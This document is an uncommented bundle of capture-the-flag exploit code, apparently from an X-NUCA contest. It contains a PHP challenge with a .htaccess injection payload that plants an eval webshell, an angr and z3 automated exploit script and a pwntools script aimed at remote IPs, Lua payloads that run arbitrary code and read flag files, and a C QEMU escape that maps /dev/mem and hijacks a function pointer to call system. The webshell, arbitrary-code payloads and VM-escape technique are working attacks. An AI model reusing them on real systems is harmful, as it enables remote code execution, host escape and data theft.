<?php     $files = scandir('./');      foreach($files as $file) {         if(is_file($file)){             if ($file !== "index.php") {                 unlink($file);             }         }     }     include_once("fl3g.php");     if(!isset($_GET['content']) || !isset($_GET['filename'])) {         highlight_file(__FILE__);         die();     }     $content = $_GET['content'];     if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {         echo "Hacker";         die();     }     $filename = $_GET['filename'];     if(preg_match("/[^a-z\.]/", $filename) == 1) {         echo "Hacker";         die();     }     $files = scandir('./');      foreach($files as $file) {         if(is_file($file)){             if ($file !== "index.php") {                 unlink($file);             }         }     }     file_put_contents($filename, $content . "\nJust one chance"); ?>

php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20var_dump(eval($_GET[1]));?>\\

import angrfrom pwn import *from z3 import *import hashlibimport base64import osimport binascii
def get_md5(s):    m = hashlib.md5()    m.update(s)    return m.hexdigest()
def change_ld(binary, ld):    """    Force to use assigned new ld.so by changing the binary    """    if not os.access(ld, os.R_OK):         log.failure("Invalid path {} to ld".format(ld))        return None    if not isinstance(binary, ELF):        if not os.access(binary, os.R_OK):             log.failure("Invalid path {} to binary".format(binary))            return None        binary = ELF(binary)    for segment in binary.segments:        if segment.header['p_type'] == 'PT_INTERP':            size = segment.header['p_memsz']            addr = segment.header['p_paddr']            data = segment.data()            if size <= len(ld):                log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))                return None            binary.write(addr, ld.ljust(size, '\0').encode('utf-8'))            if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')            path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))            if os.access(path, os.F_OK):                 os.remove(path)                log.info("Removing exist file {}".format(path))            binary.save(path)                os.chmod(path, 0b111000000) #rwx------    log.success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))     return ELF(path)
magic_num = 0x180def get_end(addr):    for i in range(addr,addr+magic_num):        #print(elf.read(i,3))        if elf.read(i,3) == b"\x90\xc9\xc3":            #print('find end :%s'%hex(i))            return i    raise('not find end!')
def get_jmp_rax(addr):    for i in range(addr,addr-magic_num,-1):        if elf.read(i,2) == b'\xff\xe0':            #print('find jmp rax :%s'%hex(i))            return i    return None
def get_all_switch(addr):    the_end = get_end(addr)    the_jmp_rax = get_jmp_rax(the_end)    res = []    aid = 0    for i in range(the_jmp_rax,the_end):        ins = elf.read(i,5)        if ins == b'\xb8'+b'\x00'*4:            aid += 1            next_addr = (i+10+u32(elf.read(i+6,4)))&0xffffffff            if next_addr not in all_switch and next_addr not in all_no_use:                node = cfg.get_any_node(next_addr)                if node.successors[0].addr != 0x400900: #plt_exit                    res.append((next_addr,aid))    return res
def check(addr):    node = cfg.get_any_node(addr)    suc = node.successors    if suc[0].addr == 0x4008b0: # &        return 0    return 1 # ^
def deal_check(addr,op=None):    #print(hex(addr)+' '),    if check(addr) == 0:        #print('calc')        num1 = ord(elf.read(addr+0x7c,1))        num2 = ord(elf.read(addr+0x8e,1))        num3 = ((num1*num2)&(num1+num2))&0xff        if op == None:            op = 0x61        return bytes((num1,num2,num3,op,10))    else:        #print('random')        data = io.recv(8)        data = u64(data)        print(hex(data))        num = u64(elf.read(addr+0x29+2,8))        print(hex(num))        x = BitVecs('x',64)[0]        solver = Solver()        solver.add( ((x << 39)^num*(x >> 25)) == data )        solver.check()        res = solver.model()        num = res[x]        if op == None:            op = 0x61        return p64(num.as_long())+bytes((op,10))
filename = './aeg_0'
io = remote('117.50.93.78', 10001)io.recvuntil('Start Pow\n')the_md5 = io.recvuntil('\n',drop=True)data = io.recvuntil('\n',drop=True)print(data)prefix = binascii.a2b_hex(data[:-1])st = int(data.decode('utf-8')[-1],16)<<4print(hex(st))found = 0for a in range(st,st+0x10):    if found:        break    for b in range(0x100):        if found:            break        for c in range(0x100):            tmp = prefix + bytes((a,b,c))            calc = get_md5(tmp)            #print(type(calc))            #print(the_md5)            if calc == the_md5.decode('utf-8'):                #print(binascii.b2a_hex(tmp))                io.sendline(binascii.b2a_hex(tmp))                found = 1                breakif found == 0:    print("not found hash!!")    exit()
token = 'icqd741eeee3154b1c8fc866fe18e468'io.sendlineafter('token:',token)io.recvuntil('Start:\n')binary_b64 = ''.join(io.recvuntil('End.\n',drop=True).decode('utf-8').split('\n'))#print binary_b64binary_b64 = base64.b64decode(binary_b64)#print hex(len(binary_b64))with open('aeg_0.tar.xz','wb') as f:    f.write(binary_b64)    f.close()os.system('xz -d aeg_0.tar.xz;mv aeg_0.tar aeg_0;chmod +x aeg_0')
elf = ELF(filename)
p = angr.Project(filename,load_options={'auto_load_libs': False})cfg = p.analyses.CFGFast()
aid = 0for addr,b in cfg.kb.functions.items():    aid += 1    if aid == 133:        main_addr = addr        print('main_addr found! at %s'%hex(main_addr))        break
aid = 0for addr,b in cfg.kb.functions.items():    aid += 1    if aid >= 133:        break    if aid >= 18 and aid < 133:        #print(hex(addr))        start_node = cfg.get_any_node(addr)        pre = start_node.predecessors        if len(pre) > 0:            if pre[0].addr - 0xf1 == main_addr:                print('start_node found! at %s'%hex(start_node.addr))                break
#tmp_elf = change_ld(filename,'./ld-2.27.so')#io = tmp_elf.process(env={'LD_PRELOAD':'./libc.so.6'})#context.log_level='debug'#context.terminal = ['tmux', 'split', '-h']#gdb.attach(io)#,"b *0x4BFB070")#input()#context.log_level='debug'io.recvuntil('Start.\n')
ans = b""tmp = deal_check(start_node.addr)print('++++++++++++++++++')io.send(tmp)
the_end = get_end(start_node.addr)start_node_next = (the_end-0x11+5+u32(elf.read(the_end-0x10,4)))&0xffffffffprint('start_node_next :%s'%hex(start_node_next))
all_no_use = []all_switch = []
all_switch.append(start_node_next)
all_next_switch = get_all_switch(start_node_next)#print(all_next_switch)
for next_switch,switch_num in all_next_switch:    the_end = get_end(next_switch)    the_jmp_rax = get_jmp_rax(the_end)    if the_jmp_rax == None:        all_no_use.append(next_switch)    else:        real_next_switch = next_switch        tmp = deal_check(start_node_next,op=0x60+switch_num)        ans += tmp        io.send(tmp)all_switch.append(real_next_switch)#print(all_switch)#print(ans)for i in range(18):    all_next_switch = get_all_switch(real_next_switch)    tmp_no_use = []    #print(all_next_switch)    for next_switch,switch_num in all_next_switch:        check_next = get_all_switch(next_switch)        if len(check_next) < 4:            tmp_no_use.append(next_switch)        else:            tmp = deal_check(real_next_switch,op=0x60+switch_num)            ans += tmp            io.send(tmp)            real_next_switch = next_switch            all_switch.append(real_next_switch)    all_no_use.extend(tmp_no_use)    if len(all_no_use) > 3:        all_no_use = all_no_use[-3:]    if len(all_switch) > 3:        all_switch = all_switch[-3:]
print(hex(real_next_switch))
all_next_switch = get_all_switch(real_next_switch)for next_switch,switch_num in all_next_switch:    try:        check_next = get_all_switch(next_switch)    except:        tmp = deal_check(real_next_switch,op=0x60+switch_num)        io.send(tmp)        real_next_switch = next_switch
print(hex(real_next_switch))
context.log_level='debug'
tmp = deal_check(real_next_switch,op=0x77)io.send(tmp)
eval_addr = cfg.get_any_node(0x400890).predecessors[0].addrprint('eval_addr :%s'%hex(eval_addr))#print(len(ans))#print(ans)
#io.recvuntil('Congratulation')sleep(0.1)io.send(p64(eval_addr)*4)io.interactive()

-- do reverse    if req_method == "POST" and req_headers:get("referer") == 'xnuca' then        local cl = req_headers:get("content-length")        local x = tonumber(stream.connection:read_body_by_length(tonumber(cl)))        local res = (secret + x )  < (secret - 3 * x) and 1 or 0        res_headers:upsert(":status", "201")    res_headers:append("content-type", "text/plain")        assert(stream:write_headers(res_headers, false))        stream:write_chunk(tostring(res)..'\n',false)        for i = 0,255,1        do            stream:write_chunk('number?'..'\n',false)            local tmp = stream.connection:read_body_by_length(2)            local num_of_digits = tonumber(tmp)            if num_of_digits == -1 then break end            local new_x = tonumber(stream.connection:read_body_by_length(num_of_digits))            calc_oracle(new_x)        end        stream:write_chunk('did you get the secret?'..'\n',false,5)        local num_of_digits = tonumber(stream.connection:read_body_by_length(2))        stream:write_chunk('your guess?'..'\n',false,5)        local ans = tonumber(stream.connection:read_body_by_length(num_of_digits))        if ans == secret then            stream:write_chunk("correct, here is your flag 1:\n")            re_flag=io.open("flag1.txt",'r')            tmp=re_flag:read "*a"            stream:write_chunk(tmp)        elseif ans > secret then            print(secret,ans)            stream:write_chunk("nope.")            return         else            stream:write_chunk("nope.")            return        end    end
    -- do pwn    if req_method == "POST" and req_headers:get("referer") == "xnuca" and req_headers:get("user-agent") == 'ww9210' then        local body_length = tonumber(stream.connection:read_body_by_length(4))        local body = stream.connection:read_body_by_length(body_length)        -- print(cl,body)        hex_dump(body)        x = load(body)        x()        return    end

#https://github.com/matrix1001/welpwnfrom PwnContext import *
try:    from IPython import embed as ipyexcept ImportError:    print ('IPython not installed.')
if __name__ == '__main__':            context.terminal = ['tmux', 'splitw', '-h']    context.log_level = 'debug'    # functions for quick script    s       = lambda data               :ctx.send(str(data))        #in case that data is an int    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))     sl      = lambda data               :ctx.sendline(str(data))     sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))     r       = lambda numb=4096          :ctx.recv(numb)    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)    irt     = lambda                    :ctx.interactive()    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)    # misc functions    uu32    = lambda data   :u32(data.ljust(4, '\0'))    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    def crack(s):        chrset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEF'        for c1 in chrset:            for c2 in chrset:                for c3 in chrset:                    for c4 in chrset:                        for c5 in chrset:                            test = c1 + c2 + c3 + c4 + c5                            if sha256sumhex(test) == s:                                return test        error('fail to crack hash: {}'.format(s))
    # 申请docker    ctx.remote = ('55a11bac354f.gamectf.com', 9901)        rs('remote')    sla('token', 'icqd741eeee3154b1c8fc866fe18e468')    ru('== \'')    some_hash = ru('\'')        sla('is :', crack(some_hash))    r()    # 申请完自己填ip端口什么的
    def toluaint(i):        i = i & 0xffffffffffffffff        if i > 0x8000000000000000:            return -(0x10000000000000000 - i)        else:            return i    def http_packet(content, ua='test'):        packetfmt = '''POST / HTTP/1.1\rContent-Length: {}\rContent-Type: text/html\rConnection: keep-alive\rAccept: */*\rReferer: xnuca\rUser-Agent: {}\r\r{}\r'''        return packetfmt.format(len(content)+2, ua, content)        def getresult(x):        ctx.clean()        length = len(hex(x))        s(length)        s(hex(x))        ru('2\r\n')        result = ru('\n')        if result == '1':            return True        elif result == '0':            return False        else:            error('error result:{}'.format(result))                    def crack():              a = 0        min = 0x8000000000000000        max = 0x10000000000000000        while True:            x = (max + min) / 2            print('count:', a)            #print('max:', max)            #print('min:', min)            #print('mid:', x)            if (max == min+1):                break            if(getresult(x)):                max = x            else:                min = x            a += 1        print('possible result from \n{}\nto\n{}\n'.format(                    hex(toluaint(min*3)+0x8000000000000000),                    hex(toluaint(max*3)+0x8000000000000000)))        return hex(toluaint(min*3)+0x8000000000000000)            ctx.remote = ('117.50.64.144', 26544)        #ctx.remote = ('localhost', 8000)    rs('remote')    s(http_packet('1', ua='ww9210'))    context.log_level = 'info'    min_val = crack()    context.log_level = 'debug'    s(-1)    sa('did you get the secret', len(min_val))    sa('your guess', min_val)    ru('\r\n')    msg_len = int(ru('\r\n'), 16)        msg = r(msg_len)    ru('\r\n')    if 'flag 1' in msg:        success('get flag1')    else:        error('no flag1')    flag1_len = int(ru('\r\n'), 16)    flag1 = r(flag1_len)    ru('\r\n')
    payload = '''require 'lfs'function getpaths(rootpath, pathes)    pathes = pathes or {}    for entry in lfs.dir(rootpath) do        if entry ~= '.' and entry ~= '..' then            local path = rootpath..'/'..entry            local attr = lfs.attributes(path)            assert(type(attr) == 'table')            if attr.mode == 'directory' then                getpaths(path, pathes)            else                table.insert(pathes, path)            end        end    end    return pathesend
f=io.open("./work_dir/path", 'w')pathes = {}getpaths('.', pathes)for i = 1, #(pathes) do    f:write(pathes[i])    f:write(' ')endf:close()'''    payload2 = '''function common_copy(sourcefile,destinationfile)  local temp_content ="";  io.input(sourcefile)  temp_content = io.read("*a")  io.output(destinationfile)  io.write(temp_content)  io.flush()  io.close()endcommon_copy("./flag009d9713831dca08e944ed901aede7f1.txt", "./work_dir/test")'''    # 这里就先发payload，等拿到flag文件名，再发payload2    s(str(len(payload2)).ljust(4, ' '))    s(payload2)    ctx.recvall()

#include <assert.h>#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include<sys/io.h>

uint32_t mmio_addr = 0xfebd6000;uint32_t mmio_size = 0x1000;uint32_t cmb_addr = 0xfebd0000;uint32_t cmb_size = 0x4000;
unsigned char* mmio_mem;unsigned char* cmb_mem;uint32_t pmio_base=0x230;
void die(const char* msg){    perror(msg);    exit(-1);}
void* mem_map( const char* dev, size_t offset, size_t size ){    int fd = open( dev, O_RDWR | O_SYNC );    if ( fd == -1 ) {        return 0;    }
    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
    if ( !result ) {        return 0;    }
    close( fd );    return result;}
uint8_t mmio_read(uint32_t addr){    return *((uint8_t*) (mmio_mem+addr));}
void mmio_write(uint32_t addr, uint8_t value){    *( (uint32_t *) (mmio_mem+addr) ) = value;}

uint8_t cmb_read(uint32_t addr){    return *((uint8_t*) (cmb_mem+addr));}
void cmb_write(uint32_t addr, uint8_t value){    *( (uint8_t *) (cmb_mem+addr) ) = value;}
void pmio_write(uint32_t addr, uint32_t value){    outb(value,addr);}

uint8_t pmio_read(uint32_t addr){    return (uint32_t)inb(addr);}
void set_offset(uint32_t value){    pmio_write(pmio_base+0x10, value);}
void set_memorymode(uint32_t value){    pmio_write(pmio_base+0x0, value);}
uint8_t arbitrary_read(uint32_t offset){
    set_offset(offset);    return cmb_read(0x100);}
void arbitrary_write(uint32_t offset, uint8_t value){    set_offset(offset);    cmb_write(0x100, value);}
void normal_write(uint32_t offset, uint8_t value){    set_offset(offset);    cmb_write(0x0, value);}
int main(int argc, char *argv[]){    //step 1 mmap /dev/mem to system, (man mem) to see the detail    system( "mknod -m 660 /dev/mem c 1 1" );
    //step2 map the address to fd    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );    if ( !mmio_mem ) {        die("mmap mmio failed");    }
    cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );    if ( !cmb_mem ) {        die("mmap cmb mem failed");    }    // Open and map I/O memory for the strng device    if (iopl(3) !=0 )        die("I/O permission is not enough");
    set_memorymode(1);       uint64_t heap_addr=0,tmp;    uint32_t i;    for (i=0;i<8;i++) {        tmp = arbitrary_read(0x40+i);        heap_addr=heap_addr+(tmp<<(i*8));    }    printf("leaking heap address: 0x%lx\n",heap_addr);
    uint64_t pro_addr=0;    for (i=0;i<8;i++) {        tmp = arbitrary_read(0x38+i);        pro_addr=pro_addr+(tmp<<(i*8));    }    printf("leaking pro address: 0x%lx\n",pro_addr);    uint64_t pro_base= pro_addr-0x4DCF10;    uint64_t system_plt=pro_base+0x2AB860;    char *para="ls&&cat ./flag";            for(i=0; i< strlen(para); i++) {        normal_write(0x0+i,para[i]);    }
    uint64_t para_addr=heap_addr+0xb90;    for(i=0; i<8; i++) {        arbitrary_write(0x38+i,((char*)&system_plt)[i]);    }
    for(i=0; i<8; i++) {        arbitrary_write(0x40+i, ((char*)&para_addr)[i]);    }       mmio_write(0x98,1);

}